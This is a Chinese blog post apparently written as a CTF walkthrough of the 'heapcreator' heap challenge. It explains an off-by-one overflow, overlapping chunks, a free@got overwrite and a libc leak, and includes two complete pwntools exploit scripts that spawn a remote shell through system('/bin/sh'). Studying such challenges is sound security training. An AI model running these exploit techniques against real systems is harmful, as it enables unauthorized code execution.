堆溢出进行中
1.堆溢出泄露libc版本加getshell

off-by-one:



程序的创建堆块的功能,申请了一个16字节大小的结构体。
经过分析,可以得到:
struct heap { size_t size; #8 char *content; #8};题目中 heaparray[i] 也就是 &heaparray+i 存放了这个结构体的地址。
后面的代码也表示了:
heaparray[i] = malloc(0x10); // 结构体heaparray[i]->content = malloc(size); // 真正内容区heaparray[i]->size = size;+----------------+| size | 8字节+----------------+| content ptr | 8字节+----------------+由于上面特定标注的 off by one 代码 read_input(heaparray[i]->content, heaparray[i]->size + 1);
正常来说,如果一个 chunk 申请了 size 字节,那最多只能写 size 字节。
但这里程序允许写:
size + 1说明这边可以多写一个字节,一个字节的溢出在很多情况下都是高危漏洞的起始,像之前看见的CVE-2024-2961。
堆块在内存里通常是相邻的。
假设有两个相邻 chunk:
A chunkB chunk如果你编辑 A,本来只能写满 A 的用户区。 但现在能多写 1 字节,这最后 1 字节就会越界到 B 的 chunk header。
最常见的就是改到:
B 的 size 字段低字节低字节说法是因为,程序数据都是先到的先进,后到的后进。
在这道题目中:
我们先布置三个堆:
idx0 : create(0x18, "/bin/sh...")idx1 : create(0x10, "bbbb")idx2 : create(0x10, "cccc")排列为:
S0C0S1C1S2C2-
S0= idx0 的结构体 -
C0= idx0 的内容 -
S1= idx1 的结构体 -
C1= idx1 的内容 -
S2= idx2 的结构体 -
C2= idx2 的内容
一个块大小为0x18,但程序允许写0x19的数据,就可以溢出到S1,也就是idx1结构体。
原本 S1 是 malloc(0x10),它对应的 chunk size 低字节一般是:
0x21我们把它改成:
0x41也就是:
把一个原本 0x20 的 chunk,伪造成 0x40 的 chunkchunk为什么20,这边暂时不解释了。
这样:
既把 chunk 变大了,又不破坏 glibc 的基本一致性检查接下来我们:
delete(1)这会释放两块:
free(C1)free(S1)但是 S1 的 size 已经被我们改成了 0x41。
这就导致:
C1 按 0x20 chunk 进入 fastbinS1 按 0x40 chunk 进入 fastbin然后我们再执行一次:
create(0x30, payload)这次内部还是两次 malloc:
malloc(0x10) // 新结构体malloc(0x30) // 新内容区由于前面 free 了 idx1:
- 第一次
malloc(0x10)会优先拿到旧的C1 - 第二次
malloc(0x30)会优先拿到被伪造成 0x40 的旧S1
于是就出现了一个非常关键的现象:
新的 content 区域,会覆盖到新的 struct 所在的位置也就是说:
content 和 struct 重叠了这就产生了:
overlap这个重叠可以修改结构体。
本来结构体应该是:
struct heap { size_t size; char *content;};我们通过overleap它改造成:
struct heap { size_t size = 0x30; char *content = free@got;};这意味着:
show(1)读的其实是free@gotedit(1)写的其实是free@got
也就是说,我们拿到了:
任意地址读 / 任意地址写换算到栈溢出这边就是,我们利用栈溢出修改地址,让打印的功能出现打印函数地址。
由于这一题没有给libc,所以首当其冲,我们就是要利用任意地址写,然后show,读取函数地址,然后多次泄露地址,确认libc版本。
泄露exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./heapcreator')
def start(): return process('./heapcreator') # return remote('node4.buuoj.cn', 12345)
def create(io, size, content): io.sendlineafter(b'Your choice :', b'1') io.sendlineafter(b'Size of Heap : ', str(size).encode()) io.sendafter(b'Content of heap:', content)
def edit(io, idx, content): io.sendlineafter(b'Your choice :', b'2') io.sendlineafter(b'Index :', str(idx).encode()) io.sendafter(b'Content of heap : ', content)
def show(io, idx): io.sendlineafter(b'Your choice :', b'3') io.sendlineafter(b'Index :', str(idx).encode())
def delete(io, idx): io.sendlineafter(b'Your choice :', b'4') io.sendlineafter(b'Index :', str(idx).encode())
def leak_one(got_addr): io = start()
create(io, 0x18, b'/bin/sh\x00' + b'a' * 0x10) # 0 create(io, 0x10, b'b' * 0x10) # 1 create(io, 0x10, b'c' * 0x10) # 2
# off-by-one: 改 idx1 struct chunk 的 size 低字节 edit(io, 0, b'/bin/sh\x00' + b'a' * 0x10 + b'\x41')
# 释放 idx1 delete(io, 1)
# 复用 idx1,制造 overlap,伪造 idx1 的 struct payload = b'd' * 0x20 payload += p64(0x30) payload += p64(got_addr) create(io, 0x30, payload) # 复用 idx1
# 泄露 show(io, 1) io.recvuntil(b'Content : ') leak = io.recvuntil(b'\n', drop=True) addr = u64(leak.ljust(8, b'\x00'))
io.close() return addr
free_addr = leak_one(elf.got['free'])puts_addr = leak_one(elf.got['puts'])atoi_addr = leak_one(elf.got['atoi'])
print('free =', hex(free_addr))print('puts =', hex(puts_addr))print('atoi =', hex(atoi_addr))由于程序的 delete 本质上会调用:
free(heaparray[idx]->content);如果我们把:
free@got = system那程序表面上执行的是:
free(ptr)实际上就变成:
system(ptr)于是只要某个 chunk 的内容是:
/bin/sh\x00那么执行:
delete(那个chunk)就等价于:
system("/bin/sh");这就是一开始idx为binsh的原因。
exp.py:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./heapcreator')io = remote('node5.buuoj.cn', 25391)
free_offset = 0x844f0system_offset = 0x45390
def create(size, content): io.sendlineafter(b'Your choice :', b'1') io.sendlineafter(b'Size of Heap : ', str(size).encode()) io.sendafter(b'Content of heap:', content)
def edit(idx, content): io.sendlineafter(b'Your choice :', b'2') io.sendlineafter(b'Index :', str(idx).encode()) io.sendafter(b'Content of heap : ', content)
def show(idx): io.sendlineafter(b'Your choice :', b'3') io.sendlineafter(b'Index :', str(idx).encode())
def delete(idx): io.sendlineafter(b'Your choice :', b'4') io.sendlineafter(b'Index :', str(idx).encode())
free_got = elf.got['free']
# 0: 最后 delete(0) 触发 system("/bin/sh")create(0x18, b'/bin/sh\x00' + b'a' * 0x10) # idx 0create(0x10, b'b' * 0x10) # idx 1create(0x10, b'c' * 0x10) # idx 2
# off-by-one: 改 idx1_struct 的 chunk size 低字节edit(0, b'/bin/sh\x00' + b'a' * 0x10 + b'\x41')
# 释放 idx1delete(1)
# overlap,伪造 idx1 的 structpayload = b'd' * 0x20payload += p64(0x30)payload += p64(free_got)create(0x30, payload) # 复用 idx1
# leak freeshow(1)io.recvuntil(b'Content : ')free_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))log.success('free_addr = ' + hex(free_addr))
libc_base = free_addr - free_offsetsystem_addr = libc_base + system_offset
log.success('libc_base = ' + hex(libc_base))log.success('system_addr = ' + hex(system_addr))
# 改 free@got = systemedit(1, p64(system_addr))
# 触发 system("/bin/sh")delete(0)
io.interactive()2.off-by-one null(一字节越位的空字节)

- 版权声明:本文由 余林阳 创作,转载请注明出处。
喜欢这篇文章吗?
点击右侧按钮为文章点赞,让更多人看到!
在下余林阳